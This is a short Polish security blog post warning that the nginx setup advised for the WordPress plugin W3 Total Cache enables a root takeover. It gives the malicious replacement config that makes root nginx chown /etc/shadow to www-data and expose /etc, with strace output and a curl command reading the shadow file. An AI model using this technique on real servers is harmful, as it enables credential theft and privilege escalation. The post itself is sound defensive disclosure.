NFsec Logo

Rutowanie skrzynki z pluginem W3 Total Cache i Nginx

11/03/2017 w Bezpieczeństwo Brak komentarzy.  (artykuł nr 595, ilość słów: 296)

à

propos różnych poradników. Kilka poradników na temat integracji popularnego pluginu W3TC do tworzenia warstwy cache dla WordPress radzą, aby w konfiguracji serwera nginx umieszczać następujące wpisy:

location / {  
    include /var/www/wordpress/nginx.conf;
}


Daje to, że nginx zawiera w swojej konfiguracji dodatkowy plik konfiguracyjny, który jest kontrolowany przez wstyczkę W3TC, która posiada prawa zapisu do tego pliku i może za nas aktualizować konfigurację serwera WWW. Załóżmy, że ktoś jest w stanie przejąć naszą stronę opartą o silnik WordPress (szalone prawda?) i zdobywa możliwość czytania oraz zapisywania plików stworzonych przez użytkownika www-data (z którego prawami odpalane są serwery www oraz php5-fpm). Podmienia on plik nginx.conf przeznaczony dla pluginu W3TC na następującą zawartość:

client_body_temp_path /etc/shadow;
location /wat {  
        alias /etc;
}

Oznacza to, że nginx przy następnym przeładowaniu konfiguracji zacznie używać pliku /etc/shadow, jako ścieżki do przechowywania tymczasowych plików z treścią żądań HTTP. Oczywiście powinien to być katalog, ale zobaczmy, co się stanie jak zostanie wykonany restart serwera:

darkstar:~# strace -e trace=chmod,chown -f nginx
chown("/etc/shadow", 33, 4294967295) = 0  
+++ exited with 0 +++

No właśnie. Właściciel pliku został zmieniony na www-data. Było to możliwe dlatego, że główny proces serwera nginx jest uruchomiony z prawami root. W ten sposób możemy zmienić dowolny plik w systemie. Później pozostaje już tylko pobranie zawartości wrażliwego pliku za pomocą stworzonego aliasu:

darkstar:~$ curl -s http://localhost/wat/shadow | head
root:$6$IPIbhbCwb7gHQC:0:99999:7:::  
daemon:*:17074:0:99999:7:::  
bin:*:17074:0:99999:7:::  
sys:*:17074:0:99999:7:::  
sync:*:17074:0:99999:7:::  
games:*:17074:0:99999:7:::  
man:*:17074:0:99999:7:::  
lp:*:17074:0:99999:7:::  
mail:*:17074:0:99999:7:::  
news:*:17074:0:99999:7:::

Zdobycie dostępu do powłoki administratora bez próby złamania jego hasła pozostawiam jako ćwiczenie dla Czytelnika.

Więcej informacji: Root your box with W3TC and Nginx

Kategorie K a t e g o r i e : Bezpieczeństwo

Tagi T a g i : , , , ,

Komentowanie tego wpisu jest zablokowane.